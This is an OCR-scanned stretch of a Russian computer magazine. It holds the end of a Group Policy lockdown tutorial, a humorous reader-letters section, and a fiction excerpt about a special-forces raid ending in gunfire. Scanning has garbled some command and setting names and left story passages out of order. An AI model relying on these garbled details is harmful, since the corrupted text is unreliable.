e+ OF Le XPOS о 2b: 


и 
= 
c 
о 
= 
8 
9 
о 
xt 
со 


Балаганов 


Group Policy Object Editor User Configuration Admi- 
nistrative Templates System: 

Prevent access to the command prompt Enabled. 
Если даже я что-то пропустил, ты и сам найдешь, 
где бы докрутить гайки. 

Теперь стандартный "gpupdate Логсе" — 
смотрим, что получилось. Чуть не забыл! Мы 
же создали групповую политику «Враги». Теперь сделаем то, что заду- 
мано: пользователь должен иметь доступ к сетевым ресурсам, необхо- 
димым для работы, и только. Пользователи-враги могут находиться в 
разных подразделениях (OU). Чтобы мы могли легко организовывать 
перекрытие кислорода, в каждом OU создадим еще одно OU и назовем 
его «Враги». 

Далее в Group Policy Management привязываем нашу политику «Bpa- 
ги» к OU «Враги», вложенному в OU «Экономика». По правой кнопке мыши 
на СРО «Враги» делаем политику обязательной к применению. 

Теперь, для того чтобы господин Тяпкин ощутил на себе всю мощь 
твоего гнева, перетаскиваем Тяпкина из OU «Экономика» на этаж ниже в 
OU «Враги». 

Последний штрих перед тем, как мы посмотрим на действие политики. 
В каждом OU подразделений делаешь дополнительное OU «Враги». Теперь 
при необходимости каждый потенциальный враг в любом подразделении 
опускается на этаж ниже в ОЦ и на него просто накручивается политика за- 
претов, притом вся политика, присущая подразделению пользователя, по- 
прежнему действует на него. Дас ист фантастиш! 

Теперь внимательно посмотрим на действие политики запретов. Срав- 
ни два рабочих стола: Тяпкин находится под гнетом политики «Враги», а 
Балаганов благонадежен. 


Сравнение действия 
политик 


Сравнение — «Пане- 
ли управления» 


Иконка «Сетевого окружения» исчезла. Смотрим, как там чувствует 
себя проводник. 

Как видишь, сетевые диски Тяпкина остались подключенными, но са- 
мо понятие сетевого окружения исчезло из «Проводника». Смотрим на «Па- 
нель управления». 

Как видишь, Тяпкин просто не может найти «Панель управления». 
Но он не дурак. Как продвинутый пользователь, он лезет на диск C:\ в ка- 
талог Windows\System32 и находит там программу запуска «Панели ynpa- 
вления», которая называется control.exe. Радостно потирая руки, он дваж- 
ды щелкает на ней мышью и получает радостное «Операция отменена 
вследствие действующих для компьютера ограничений. Обратитесь 
к администратору сети». 

Посмотрим, что творится с меню «Пуск»-» «Выполнить». 

Как видишь, Тяпкин лишен доступа сразу к двум пунктам меню: «Вы- 
полнить» и «Найти». Соответственно, попытка Тяпкина запустить коман- 
дный интерпретатор «cmd» из C:\ в каталоге Windows\System32 также не 
увенчается успехом. 

Точно так же Тяпкин лишается возможности изменять какие-либо 
настройки «Рабочего стола» и всего того, что мы наворотили в политике. 
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Тяпкин 


Так как ты настраиваешь домен один раз и надолго, потрать некоторую 
часть своего драгоценного времени и создай для каждого OU вложенное 
ОЧ с привязанным к нему СРО ограничений. В любой момент, если запо- 
дозришь какие-либо деструктивные действия пользователей, просто пе- 
ретащишь подозреваемого, перечитаешь политику домена — и все. Спо- 
койно идешь спать. 

На самом деле возможности групповых политик очень широкие — 
нужно только разобраться в них, а в результате сможешь настроить домен 
так, что ни один враг, друг или просто несмышленый пользователь не сло- 
мает твою спокойную жизнь. Я показал лишь способ воздействия — даль- 
ше развивайся сам. 

Некоторые советы. Если в твоей конторе используются ноутбуки и 
начальство или простые пользователи часто пользуются ими при пере- 
мещениях, выдели буки в отдельный класс и отдельное OU. Тогда мож- 
но преспокойно настроить синхронизацию папок ноута и стационарного 
компьютера пользователя. Еще раз позволю себе дать совет — не ле- 
пить все свои хотелки в одной групповой политике. Если возникают про- 
блемы с чем-либо, очень сложно отыскать место возникновения пробле- 
мы. Лучше создать отдельную групповую поли- 
тику для каждой настройки, дать ей понятное 
имя и жить спокойно. Для поиска проблем и 
просмотра результатов не стесняйся пользо- 
ваться закладками Group Policy Modeling и 
Group Policy Results в Group Policy Management. 


Действие политики 


Сравнение «Провод- 
ника» 


Тяпкин 


алаганов 


Если на компьютере пользователя не применяются политики, начинай поиск 
с команды «gpresult» и внимательно смотри, какие политики накрутились, а 
какие нет. Вот и все, что я хотел рассказать о политиках. В следующих мо- 
дулях мы еще вернемся к ним. Для построения боеспособного домена 
необходимо подумать об обновлениях, борьбе с вирусами и многом другом. 
В следующий раз займемся борьбой с вирусами на базе продуктов «Лабора- 
тории Касперского». До новых встреч © 


Тяпкин 


Балаганов 


ОФФТОПИК 


crew 


е - мыло 
ПИШИТЕ ПИСЬМА! SPEC@REAL.XAKEP.RU 


SKYWRITER 


la2c4.560@mail.ru 


Искандер Васильев 
Купил апрельский номер 


Здравствуйте, дорогая редакция!!! 

Постоянно покупаю журнал около двух лет. Написать Вам побудили: 

1) очередные ляпы: содержание кривовато (признавайтесь честно: что в 
последний момент пошло под нож?); 

2) где начало статьи на 76-й странице?; 

3) фотографии отвратного качества в ЦЕЛУЮ страницу размером (если 
Вам больше нечего печатать, могу прислать фотографии дымящихся кака- 
шек моего кота Васьки в высоком разрешении); 

4) За очередной рассказ в оффтопике — спасибо!!! Под#@ yun. 

© Здравствуйте, уважаемые коллеги-доктора! 

Наверняка в вашей обширной практике вы встречались со многими, 
подчас неизлечимыми, но от этого не менее интересными недугами. 
Мой же научный труд посвящен одному весьма близкому, может 
быть, даже родному нам пациенту — читателю нашего журнала. 
Первое его обращение было связано с фобиями, касающимися чис- 
тоты (так называемых вездесущих «ляпов»), и с острой тягой к хи- 
рургии. Пациент утверждал, что кто-то или что-то пошло под нох, и 
очень интересовался, что именно. 

Второе обращение, по словам клиента, вызвано манией относитель- 
но простого, казалось бы, вопроса. Даже совместными усилиями мы 
так и не смогли найти ответ :(. 

В следующий раз клиент пришел из фотомастерской, упорно жалу- 
ясь на свои фотографии. Мне удалось убедить его в том, что на пас- 
порт годятся даже те, что были сделаны для него. И тут мне откры- 
лась страшная тайна: оказывается, больной имеет крайне редкие 
симптомы микрофотокапрофилии. Объем коллекции фотовыделе- 
ний просто поражает воображение! 

В итоге открытие факта ежемесячной мастурбации, о которой мне, 
уважаемые коллеги, было сообщено в последнюю нашу встречу с 
клиентом, оказалось отнюдь не удивительно и лишь дополнило ин- 
тереснейшую картину патологии. 

В качестве решения проблемы я бы порекомендовал интенсивную 
шоковую терапию. 

С уважением, доктор Курпатов. 


netsphere@yandex.ru 

За мной охотится ФСБ 

Здрасьте, уважаемая редакция! 

Всегда хотел у вас спросить одну вещь... 

А вам не лень отвечать на глупые письма ваших читателей? 

З.Ы. Собственно, сабж письма. Как узнать, что мою почту читает сотрудник 
ФСБ? А то у меня есть серьезные подозрения. Я думаю, что мой коллега по 
работе сдал меня, когда я производил махинации со счетом в игре в Pinball... 
Ответьте мне на какой-нибудь другой почтовый ящик. 


Привет, уважаемый читатель! 

Спросить «одну вещь»? Как это — спросить вещь? Как спросить — 
это понятно, но никакой вещи на самом деле нет. Разбирайся в 
формулировках — это домашнее задание тебе! 

А что до глупых писем... Честно говоря, мы всегда грезим преумно- 
жением количества глупости на Земле, поэтому и плодим ее напра- 
во и налево. А то, что мы помещаем ее в раздел «Е-мыло», так это 
так — чтобы не разбегалась по всему журналу. Глупость к глупости. 
С введением покончил. Теперь выведение. Проверить, читает ли 
твою почту ФСБ, очень легко: просто пошли письмо по адресу 
binladen@rocks.ir, содержащее фразу «Бин Ладен Нью-Йорк ди- 
намит взорвать ...» и т.п. Если придут в течение 10-15-ти минут, 
значит, точно читают. Коллег же, как и предмет махинаций, сле- 
дует выбирать очень осторожно. Pinball является объектом авто- 
рского права с ограничением по вмешательству в него, деком- 
пиляции И Т.Д. 

Письмо, как видишь, отправили в другой ящик. Принимай! 


druve@yandex.ru 
Не ставится значок на папку 


Здравствуйте, дорогая редакция журнала «Спец Хакер». У меня такая проб- 
лема... Если я меняю значок папки, она сразу же становится скрытой. Но в 
проводнике Винды я ее видеть могу, а в Total Commandere она показывает- 
ся как скрытая. Хотя раньше все было нормально. Как мне кажется, это 
стало случаться после установки нового винчестера. Хотелось бы устранить 
эту проблемку. Заранее очень благодарен! 


Доброго времени суток! 

Проблема на самом деле для меня оказалось неразрешимой. Я 
очень, очень долго бился над ней, пытался и так и сяк... В общем, я 
рассматривал целую кучу вариантов — никак не получается воспро- 
извести проблему. Папка остается такой, какой и была. Просто 
внутри нее появляется файлик Desktop.ini, в котором описывается, в 
числе прочего, какая иконка используется для папки. Так вот этот 
файлик скрытый, но по умолчанию, и, насколько я знаю, Explorer 
его не показывает. Так что проблема устранена :). 

Удачи! 


hothack@tut.by 


Киря aka HotHack 
Диск с вирусом 


Привет, Хакеры! 

Я купил майский номер «Спец Хакера», и там было СО-приложение с раз- 
ным софтом. Я ради интереса решил проверить диск на вирусы (у меня ус- 
тановлен «Антивирус Касперского»). И что?! Мой антивирус нашел трояна 
Backdoor.Win32.NTRootkit.044 в каталоге _:\Software\Bonus\NTPlus\rk.zip и 
потенциально опасное ПО Exploit.Linux.Veribau.a в 
_:\Software\Tools\Metasploit\framework-2.5.tar.gz и framework-2.5.exe. 

Я не знаю, какой вред могут нанести эти вирусы, но все равно проверяйте 
софт перед тем, как записывать его на диск! А Вы сами знали, что эти про- 
Ги заражены?! Сколько у меня есть дисков Вашего журнала, и там я никог- 
да не находил ни одного вируса, а может, там тоже есть, только скрытые?! 
Пожалуйста, ответьте! 


Привет, горячий хакер! 

Удивительно! Честно говоря, я ни разу не видел Спец с CD-npuno- 
жением. Честно говоря, ума не приложу, где ты нашел «Хакер 
Спец» с диском! Поразительно. 

Но еще более поражает воображение тот факт, что ты нашел не 
только журнал с диском, но и CD с «Антивирусом Касперского». 
Уверен, что антивирус у тебя лицензионный. Молодец! Хоть кто-то 
поддерживает отечественного производителя. 

После того как мы узнали, что диски заражены такими страшными 
вирусами, мы в экстренном порядке выслали команду, которая пря- 
мо на заводе вылечила готовые диски! Спасибо тебе, добрый чело- 
век. Честно говоря, даже и не знаю, что бы мы без тебя делали. Тут 
Аваланч решил предложить тебе работу по проверке дисков твоим 
«Антивирусом Касперского», но подумал, что ты, наверное, не сог- 
ласишься на столь скромное предложение... 

К вопросу о скрытых вирусах — это к автору предыдущего письма. 
У него большой опыт по установке атрибута «скрытый» на файлы, 
так что... В общем, вирус не так сложно сделать скрытым — просто 
меняешь атрибут... 

Итак, мы тебе ответили, как могли. Жаль, что бред вышел — писа- 
ли под утро :). 


no@such.email.ru 
Помощь при ДТП 


Окажем юридическую помошь при ДТП, проконсультируем по конфликтным 
ситуациям на дорогах. 

Срочный выезд в пределах МКАД по требованию. 

ПРЕДОСТАВИМ КВАЛИФИЦИРОВАННЫХ СВИДЕТЕЛЕЙ-пассажиров в слу- 
чае ДТП, АПН, конфликтных ситуаций на дорогах. 

При предоставлении свидетелей осуществляется срочный выезд на место. 
Фотографирование местности. До прибытия свидетелей наши специалисты по 
телефону произведут опрос с целью фиксации значимых особенностей и дета- 
лей обстановки для последующего свидетельствования в суде или при разбо- 
ре ситуации в органах гос. власти, как очевидцев произошедшего события. 


Товарищи! 

Да мы, оказывается, живем в замечательной стране! Вокруг столь- 
ко добрых людей, готовых помочь. Казалось бы, какое несчастье 
ДТП: разбитая машина, травмы, не дай бог, да еще и виноватым 
оказываешься. И тут чу! Возникает в поле зрения авто с надписью 
«Юридическая помощь при ДТП», оттуда вываливает целая толпа 
свидетелей Вашей правоты. И ведь главное, как все профессио- 
нально построено! Ни одна хотя бы самая малая деталь не уйдет из 
поля зрения специалистов. Спасибо вам! 


Об одном лишь вы не написали в замечательном рекламном письме 
(впрочем, когда в рекламе писали всю правду?): уважаемые предос- 
тавляемые свидетели получают ст. 307 Уголовного кодекса, а доро- 
гой клиент — ст. 309. Вот такая вот «неотвратимость наказания» ;) 

Я уже вижу рекламу а-ля «магазин на диване» своей новой фирмы: 
«Профессиональные заключенные отсидят за вас! Написание чисто- 
сердечных признаний, совершение похожих преступлений — спектр 
услуг! Звоните сейчас и получите 5 лет отсидки бесплатно!» Такие 
вот у нас водятся «Хакеры по-жизни». 

Удачи в бизнесе, господа! 


vasin@gameland.ru 


оффтоп — cpouno!!! палец на красной кнопке, 
рычаг предохранителя взведен 


Скай, нам срочно (!) нужно все оставшееся в оффтопике. Мыло, Софт. 
Хватит динамить. Ты клялся, что пришлешь все, еще в прошлый четверг, не 
прошло и недели.. 

Завтра днем, если ты не выполняешь ультиматум, мы прекращаем всячес- 
кие переговоры и совершаем точечные ядерные удары по всем военным 
базам славного города-героя Егорьевска (городок, где я вырос — прим. 
SkyWritera)!!! 

Здравствуй, тезка! 

Удивительное совпадение. Как раз когда я отвечал на письма на- 
ших любимых читателей, справа всплыло небольшое окошко, ко- 
ротко отражающее гневную суть пришедшего письма, и я тут же ре- 
шил отложить все дела и приняться писать ответ на него. К тому 
же, раз я пишу ответ именно на е-мыло, то, выходит, что я 
никаких дел в сторону, в общем-то, и не откладывал --). 

Так вот, мыло я обязательно пришлю прямо сейчас, буквально отве- 
тив на твое письмо. 

А вот про точечные ядерные удары... Это ты зря! Ты почем мою ма- 
лую родину под угрозу ставишь?! Зря что ли деды воевали, отбира- 
ли у фашиста кровью пропитанную землю?! Напрасно люди днями и 
ночами строили великие военные и плодоовощные базы славного 
града моего?! 

Знай же, что не отдадим мы ни пяди родной земли! Ни шагу назад 
не сделаем и биться будем до последнего! 

Аминь. 


poijh_ilia@mail.ru 
Илья Емельянченко 
Тема: Информация к размышлению 


Господи! Благослови! 

Здравствуйте! Хочу поделиться с вами мыслями о летательных 
аппаратах, раз уж нам на земле слишком дорого обходится авиация. 
На сегодняшний день уже есть модели двигателей на водородном 
топливе. Если есть возможность поставить авиацию на водородном 
топливе, так почему бы и нет? Я не располагаю данными по новейшим 
разработкам, но складывается ощущение, что наука нам не врет, 

а лгать начинают люди, уклоняясь от ответственности перед Богом, 

и Родиной, и перед людьми, где-то ради корысти. В атмосфере полно 
водорода, и вполне может быть, что этого хватило бы для автономной 
заправки топливом на лету. Я ничего не придумываю, я исхожу из того, 
что уже есть. Я восхищаюсь, как хорошо пошла мысль в целом мире, 

и самое главное заключено в людях — это и Царство Его. «Обратитесь 
ко Мне, — говорит Господь, — и Я обращусь к вам». 

Славлю Отца и Сына, и Святого Духа, и ныне, и присно, и во веки. АМИНЬ! 
re) Милый Илья! 

Мы не «Господи», мы всего лишь консилиум врачей. А ты всего 
лишь еще один наш пациент. Твой случай крайне редок и запущен. 
Особенно в условиях обучения сначала в церковно-приходской шко- 
ле, а потом в техническом ВУЗе. 

Тебе необходим покой и 10 видеокассет мультиков «Том и Джерри», 
«Ну, погоди!» и т.д. Желательно, чтобы они не были слишком обреме- 
нены словами и смыслом. После просмотра всех кассет Вам будет сно- 
ва необходимо записаться на прием. В случае отсутствия положитель- 

ных изменений — мы сожалеем — но придется произвести шоковую те- 
рапию в форме ежедневного просмотра «Дома 2» в течение 3-4 часов 
и такой же ежедневной дозы клипа Филиппа Киркорова «Шика дам». 
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ИДТИ ПО СНЕГУ БЫЛО НЕУДОБНО. НОГИ ПРОВАЛИВАЛИСЬ В КАКОЕ-ТО ПОДОБИЕ СУ- 
ГРОБОВ, КОТОРЫЕ НАГРЕБЛИ ПО ВСЕМУ ДВОРУ БЕЗО ВСЯКОГО СМЫСЛА. НО KOMAH- 
ДИР ГРУППЫ ПОДГОНЯЛ ИХ ПО РАЦИИ, И ПРИХОДИЛОСЬ ВЫГРЕБАТЬСЯ ИЗ ЭТИХ 
СНЕЖНЫХ КУЧ, ВЫСОКО ПОДНИМАЯ НОГИ, И ПРОДВИГАТЬСЯ ДАЛЬШЕ К ДОМИКАМ 
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Для них, тренированных спецназовцев, забор не был серьезным препят- 
ствием, да и существовал он далеко не по всему периметру. Шестеро ак- 
куратно прошли рядом с воротами — и тут же им сказали по рации, 

что остальная часть группы, еще пять человек, вошла с дальнего участка 
совершенно без проблем, им не пришлось преодолевать ни забор, ни ка- 
кие-либо другие преграды. 

Двумя группами они продвигались по территории, аккуратно подбира- 
ясь к камерам наблюдения. Приказ был очень и очень неожиданным: они 
заклеивали объективы жевательной резинкой, для чего каждому было вы- 
дано по три пачки «Дирола». 

«Номер второй» достал еще две подушечки жвачки, быстро закинул 
в рот, пожевал несколько секунд, смачно сплюнул в снег огромную дозу 
ментола, которая уже просто не помещалась в его организме. Вытащил ком 
резинки, размял пальцами и прилепил на еще один телеобъектив, непо- 
движно смотревший куда-то в небо. 

— Я номер два, пройдена восьмая отметка. Дальний угол территории боль- 
ше видеокамерами не просматривается, — прокомментировал он свои дей- 
ствия, придавив пуговку лингафона вплотную к шее. — Непонятно только, 
зачем все эти камеры на каждом шагу? Они же все... Практически все... 
Выключены. 


ФИГУРЫ В БЕЛЫХ 
МАСКИРОВОЧНЫХ КОСТЮМАХ 
ПОЯВИЛИСЬ НА МГНОВЕНИЕ 
ИЗ СУГРОБОВ И ТУТ ЖЕ 
СКРЫЛИСЬ 


— Номер два, тишина в эфире, — прозвучал грозный голос командира 
группы. — Только пикни еще... — добавил тот от себя не по уставу. 

— Есть, — ответил номер второй. «Точно так же заклеивал жевательными 
резинками дверные глазки Леон, — вспомнился фильм Люка Бессона. — 
Сначала он, потом и его Матильда. Заклеивали, рвали дверные цепочки, 
входили внутрь и делали свою черную киллерскую работу. Профессиона- 


ХАКЕР. ВО) 


лы...» Он продвинулся по двору еще метров на тридцать, присел возле угла 
одной из деревянных построек и посмотрел туда, откуда лился ровный 
свет, — в сторону двухэтажного дома с большим вестибюлем. Стеклянные 
двери образовывали там огромный шлюз, снег возле выхода из дома тща- 
тельно убран, остатки вытоптаны. 

— Возле выхода урна с окурками, — тихо сказал он всем. — Могут выйти 
покурить и застать нас врасплох посреди двора. 

— Не твоя забота, — резко ответил командир. — Будет команда — возь- 
мешь выход под свой контроль. А пока продвигайся к своей отметке, если 
еще помнишь, где она у тебя. 

— Есть, — снова ответил «номер два», провалился в очередной сугроб и 
едва не выругался в полный голос. 

«Какого черта нас понесло сюда?! — думал он, будучи уверенным в 
том, что этот вопрос задают себе сейчас практически все участники коман- 
ды. — Ну, здесь-то какой может быть криминал? Зачем здесь спецназ? Или 
мы чего-то не знаем? Может, их захватили террористы, а саму ситуацию ре- 
шили не оглашать? Чушь, террористы обычно озвучивают любую свою вы- 
лазку. Тогда зачем? Непонятно.» 

Он медленно развернулся, краем глаза отметил перемещение двух то- 
варищей по группе в двадцати метрах к востоку: фигуры в белых маскиро- 
вочных костюмах появились на мгновенье из сугробов и тут же скрылись за 
ближайшей постройкой, возле которой были аккуратно сложены бревна. 
Группа работала по заранее подготовленному плану, в отдельные части ко- 
торого посвящали не всех. Каждый шел по намеченному маршруту, строго 
по своему (или по назначенному на двоих с напарником), по определенному 
только для него (или для них), и выполнял только свою задачу. 

И лишь в конце работы их должны были собрать вместе. 

«Интересно, чем все кончится? — подумал «номер второй». — Хотя 
нет, гораздо интереснее узнать, как же все начнется. Вот я. Мой маршрут к 
строению, обозначенному на карте номером «восемнадцать». Ничем не 
примечательный одноэтажный домик, таких много можно встретить 
на море — сдают на сезон. Внутри мебель по минимуму, плитка, холодиль- 
ник, телевизор... Еще что-нибудь... Короче, жить можно. Жить, купаться, за- 
горать, по вечерам гонять комаров — но это если лес рядом. А вот если до 
моря рукой подать, а ближайшие деревья метрах в двухстах, а то и больше, 
вот тогда благодать... Сидишь в кресле-качалке, сигарета в одной руке, 
банка пива в другой. Рядом на лежаке жена... Или нет, не жена, бог с ней, с 
женой. Чего это я о ней вспомнил? Рядом на лежаке какая-нибудь Клаудия 
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Шиффер собственной персоной. Топлесс. Лежит и так игриво мне подмиги- 
вает — ая глоток делаю, потом затянусь пару раз... Море шумит, как часы. 
Каждые шесть секунд волна. А на горизонте — какие-то огоньки...» 

— Твою мать! — выругался он, забыв о радиомолчании. — В строениях 
«шесть-а» и «семь-а» зажгли свет! 

— Вижу, — отозвался «номер двенадцать», чьей целью и были именно 

эти домики. — Никаких корректив — иду по известному маршруту, вхожу 
по команде. 

— Правильно, — подключился к диалогу командир. — Вот только не за- 
будьте камеры. Это наипервейшая задача. Лепите жвачку во все 
объективы — неважно, включены они или нет. Никто уже не успеет отреаги- 
ровать. Как только входим, начинает работать «условие номер раз». 

— Принято, — отозвались несколько голосов, наложившись друг на друга. 
Группа работала слаженно, постепенно продвигаясь к своим объектам. 

«Номер второй» увидел еще одну камеру — на этот раз большую, 
на станине. Нечто вроде прицепа на четырех колесах, напоминающих 
велосипедные. В центре тренога, куча проводов, они тянутся поначалу 
упорядоченно, а потом разбегаются в разные стороны и исчезают 
в сугробах. Оглядевшись, он аккуратно приблизился к этому кибернети- 
ческому монстру, который, как он решил, управлялся дистанционно, 
однако рядом в снегу он увидел приличную кучку окурков. Здесь 
работал человек. 

«Чтобы выкурить примерно двадцать сигарет, лично мне нужен целый 
день, — подумал номер второй. — Но они могут работать в две или три 
смены. Хотя все окурки вроде бы со следами одинакового прикуса и, очень 
похоже, раздавлены. Что мог снимать этот оператор здесь, зимой, в тече- 
ние целого дня?» 

Он огляделся, отметил, что вокруг много следов, оставленных одним и 
тем же человеком. Неподалеку, возле высокой березы, увидел желтое пят- 
но на снегу, покачал головой. 

«Отсюда и отойти было некуда, что ли? — пожал он плечами. — Я ду- 
маю, что, если поискать, можно и бутерброды недоеденные найти, и лапшу 
корейскую». 

Вплотную подойдя к камере, он вынул изо рта новую лепешку «Бубль- 
гума», размазал ее по объективу и попытался представить себе, что именно 
показывала эта камера. Автомат мешал ему, он задвинул его за спину и 
прильнул к видоискателю. 

В поле его зрения попали несколько домов, часть забора, какая-то 
свалка стройматериалов, несколько столиков под открытым небом (они 
усыпаны снегом и похожи на летнее кафе, устроенное здесь по недора- 
зумению). 

Сзади что-то с шумом повалилось на снег. «Номер второй» вздрогнул 
и резко обернулся, почувствовав пустоту у правого бока — там, где должен 
был быть автомат. Но на этот раз пронесло — в сугробе лежал большой мо- 
ток целлофановой пленки, которой, по-видимому, укрывали камеру от сне- 
га. Ветром его смяло и уволокло в сторону, подвесив на дерево, под кото- 
рым справлял малую нужду оператор. Теперь же ветка не выдержала, прог- 
нулась, и целлофан медленно сполз в сугроб. 

«Номер второй» почувствовал, что задержал дыхание чересчур надол- 
го. Медленно втянув через нос морозный воздух, он поправил автомат, про- 
верил надежность крепления глушителя и на секунду прикрыл глаза. А все 
могло быть гораздо хуже... 

«Какого черта меня потянуло смотреть в эту камеру? — обругал он се- 
бя. — Не отвлекаться ни на что — прописная истина. Вперед!» 

Он спрыгнул со станины, отметив про себя, что амуниция совершенно 
не бряцает и не издает никакого шума (правда, они всегда проверяли это 
перед заданием, но сейчас почему-то захотелось похвалить себя — чтобы 
отвлечься от своего промаха). В рот были закинуты очередные две поду- 
шечки жевательной резинки. На бегу он снова машинально сплюнул, взгля- 
нул на компас, потом на часы. Времени до занятия позиции оставалось все- 
го ничего. 


ЕЕ БЕЛОЕ ОБНАЖЕННОЕ 
ТЕЛО НИКАК НЕ ХОТЕЛО 
ИСЧЕЗАТЬ В ТЕМНОТЕ 


строительного мусора, а прямо перед ним разлеглась просто невероятная 
куча досок и еще чего-то, что в темноте напоминало фанеру. Пройти он бы 
смог, но не наделать при этом шума казалось задачей невыполнимой. 

Пришлось идти в обход, по широкой тропинке. Он уже сделал нес- 
колько шагов по ней, когда услышал в наушниках: 

— Номер двенадцатый — на позиции. Вынужден войти в дом — обнаружен 
жителями. Проблем нет. 

«Это там, где загорелся свет, — вспомнил «второй». — Чего им не 
спится, сволочам!» 

Значит, один из них уже в деле. Оставалось надеяться на то, что 
остальных не обнаружат еще некоторое время. Он прибавил шагу, на хо- 
ду отметил для себя огонек камеры, висящей под крышей домика, кото- 
рый был им не нужен, подошел с той стороны, откуда выходил кабель, 
мазнул жвачкой по объективу, но почему-то на этот раз резинка не хоте- 
ла приставать к холодному стеклу. Он попробовал еще раз, а потом про- 
сто сжал на камере кулак и вырвал ее из креплений, после чего отсоеди- 
нил провод и закинул ее в снег. 

Вскоре он был возле своей цели. Домик оставался темным. Из него 
доносились какие-то звуки, и «номер второй» не мог разобраться, что к че- 
му, пока занимал позицию у двери и оглядывался в поисках очередных све- 
тящихся глазков камер. А потом понял: из-за двери доносились стоны. 

Кому-то там было очень и очень хорошо. 

Он представил себе на секунду, как люди, которые сейчас 
по ту сторону двери занимаются сексом, отреагируют на появление 
вооруженного до зубов спецназовца в шлеме с прибором ночного виде- 
ния на одном глазу и дисплеем на другом. Решил, что даже не стоит 
принимать ставки — пока сам не увидит, не узнает. Еще он подумал, что 
если через несколько секунд ему не скомандуют войти внутрь, то он око- 
леет под эти сладострастные стоны. От холода и, чего греха таить, от 
зависти. Уж больно здорово стонала эта девчонка, прямо как в кино 
с участием немецких порнозвезд. 

Он привалился спиной к стене рядом с дверью, поставил оружие меж- 
ду ног, осмотрелся. Камер не было. Скорее всего, они были внутри. 

«Судя по всему, искать их долго не придется. Здесь все на виду. Инте- 
ресно, а как они там трахаются, зная, что вокруг все пишут? Может, мне то- 
же сделать вид, что я обнаружен, и войти? Глупость. Командир не поверит 
в такие совпадения. Ждать, ждать... Чего-то я сегодня какой-то несобран- 
ный. Камера эта чертова, теперь вот думаю, как приказ нарушить». 

Он покачал головой и крепко сжал цевье автомата. Глушитель здо- 
рово удлинял ствол. «Номер второй» осмотрел оружие, остался доволен. 
Потом прислушался к тому бардаку, что царил у него в голове, и решил, 
что стоит после операции сходить к психологу, чтобы решить кое-какие 
душевные проблемы... 

Дверь домика неожиданно открылась, легко и одновременно 
с ужасным скрипом. «Номер два» вдруг понял, что уже некоторое время 
не слышит тех стонов, которые так волновали его нервную систему. 
Дверь, распахнувшись, ударила его по колену и вернулась на несколько 
сантиметров обратно. 

Похоже, за дверью никого не удивило то, что снаружи встретилась ка- 
кая-то преграда. Он услышал осторожный шепот, потом смешок — тихий, 
смущенный. «Там холодно?» — спросил женский голос. «А ты как дума- 
ешь? Конечно, там же зима!» 

Мужчина говорил каким-то надменным голосом, словно аристократ- 
патриций, использовавший проститутку. Внутри домика щелкнула зажигал- 
ка, раздались шаги: похоже, тот, кто открывал дверь, сделал это подойдя к 
ней босиком, потом так же тихо вернулся и вот теперь, обувшись и накинув 
что-нибудь на себя, решил выйти на улицу покурить. 

«Номер второй» читал спецматериалы по операции, знал примерный 
возраст всех тех, с кем они могли встретиться, помнил около восьмидесяти 
пяти процентов лиц, что было у них неплохим результатом. Он знал, кто 
сейчас появится перед ним. 

Поднявшись с четверенек, стараясь при этом не отодвинуться от сте- 
ны, «номер два» аккуратно снял автомат с предохранителя, подумал еще 
секунду и согласился со своим решением. Им объясняли, что стрелять в 
тех, кого они встретят, можно только в крайнем случае. А в спецназе край- 
ний случай один — непосредственная угроза жизни. 

— Второй на позиции, — шепнул он в лингафон. — Через две секунды — 
контакт с противником. 


— Девятый на точке, — раздалось в наушнике. — Четвертый и пятый 
на точке... 

«Пошли доклады, — чертыхнулся «номер два». — Надо бы поторо- 
питься, не быть последним». 

Он прикинул, как будет удобнее: пробраться напрямую или выбрать 
тропинку. Напрямую было, прямо скажем, не очень. Без того везде хватало 


Здесь нет противника, идиот! — прошипел командир. — Не стрелять! По- 
ка не стрелять! 

В эту самую секунду на крыльце показался человек с сигаретой. Мо- 
лодой парень, завернувшийся в одеяло. Он на самом деле был похож на ка- 
кого-то римского сенатора. Один конец одеяла был закинут на плечо, вто- 
рой — по диагонали — свисал за спиной. Он медленно, аппетитно затяги- 
вался, глядя на звезды, выпускал струйку дыма и переминался с ноги на но- 


ry. Emy было явно холодно, HO, похоже, после того, что происходило в его 
домике, он любил именно покурить. 

«Номер два» прекрасно понимал свою задачу — до поступления сиг- 
нала не выдавать себя, в дальнейшем войти в дом и нейтрализовать жите- 
лей, не причинив вреда их здоровью. Далее — доложить командиру и ждать 
новых приказаний. Непосредственная цель визита на эту странную террито- 
рию ему была неизвестна. Начальство подстраховывалось как могло. 


ОНИ ОБРАЗОВЫВАЛИ ТАНДЕМ, 
СПОСОБНЫЙ РАЗГАДАТЬ 
САМЫЕ ТАИНСТВЕННЫЕ 
КИБЕРЗАГАДКИ 
СОВРЕМЕННОСТИ 


«Здесь нет противника», — повторил он слова командира, вышел из- 
за двери и медленно сделал два шага к парню... 

И тут же понял, что допустил оплошность. Непростительную, недо- 
стойную солдата его квалификации. 

Конечно же, они курили оба. 

Только она осталась за дверью. 

Девушка с сигаретой, длинной и тонкой, как и она сама, закричала, 
едва увидела, как из-за двери показался ствол автомата с навинченным 
на него глушителем. Закричала высоко, пронзительно, слегка присев 
и прикрыв свободной рукой грудь. Парень развернулся — скорее, напу- 
ганный этим криком, а не встревоженный. Развернулся, даже забыв 
о сигарете во рту. 

«Номер второй» вытянул перед собой руку в жесте, который предуп- 
реждал о том, что им лучше ничего не предпринимать — он контролирует 
ситуацию. Глупый, несвоевременный жест. Было поздно. 

Девушка продолжала кричать. При этом она принялась отступать 
вглубь домика, ее белое обнаженное тело никак не хотело исчезать в тем- 
ноте. Солдат невольно отвлекся на нее, и спустя секунду парень каким-то 
незаметным быстрым движением накинул ему на голову одеяло, оставшись 
на морозе совершенно голым. «Номер второй» моментально «ослеп» без 
лунного света, который усиливался прибором ночного видения и превращал 
все вокруг в зеленоватое марево. А еще через мгновенье он получил очень 
сильный удар по голове, следом — по плечу. В тот момент было трудно со- 
образить, чем и откуда бьют. Солдат не устоял на ногах, упал на доски 
крыльца и перекатился в сторону, скорее рефлекторно, чем в попытке упра- 
влять ситуацией и уходить от ударов. 

— Второй, ответьте, что у вас, — раздалось в наушниках. Спокойный, урав- 
новешенный голос командира был в этой обстановке совсем не к месту. 
Еще один удар. На этот раз он пришелся по правому колену. Боль пронзила 
ногу. 

— Контакт, — только и сумел выдавить из себя «второй». — Открываю 
ОГОНЬ... 

Он еще раз перекатился и понял, что уперся в стену. Одеяло тем вре- 
менем окутало его еще больше, в какой-то момент он вдруг ощутил, что не 
может пошевелить руками. Ждать больше было нечего. 

Он нажал на спусковой крючок. 

«Бум!.. Бум!..» 

